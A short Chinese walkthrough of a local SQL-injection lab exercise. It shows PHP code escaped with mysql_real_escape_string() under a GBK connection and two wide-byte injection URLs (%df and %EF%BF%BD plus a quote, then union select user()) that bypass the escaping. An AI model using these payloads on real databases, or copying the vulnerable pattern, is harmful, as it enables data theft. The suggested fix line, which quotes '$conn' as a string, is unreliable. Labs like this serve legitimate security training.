關鍵代碼
function check_quotes($string) { $string= mysql_real_escape_string($string); return $string; } $id=check_quotes($_GET['id']); mysql_query("SET NAMES gbk"); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; print_r(mysql_error());
上面的check_quotes()函數是利用了mysql_real_escape_string()函數進行的過濾。
mysql_real_escape_string() 函數轉義 SQL 語句中使用的字符串中的特殊字符。
下列字符受影響:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
如果成功,則該函數返回被轉義的字符串。如果失敗,則返回 false。
但是因mysql我們並沒有設置成gbk,所以mysql_real_escape_string()依舊能夠被突破。方法和上述是一樣的。
方法一:利用%df突破
http://127.0.0.1/sql/Less-36/?id=-1%df' union select 1,user(),3--+

方法二:利用 ' 的utf-16突破
http://127.0.0.1/sql/Less-36/?id=-1%EF%BF%BD%27union select 1,user(),3--+

Notice:在使用mysql_real_escape_string()時,如何能夠安全的防護這種問題,需要將mysql設置為gbk即可。
設置代碼:
mysql_set_charset('gbk','$conn')
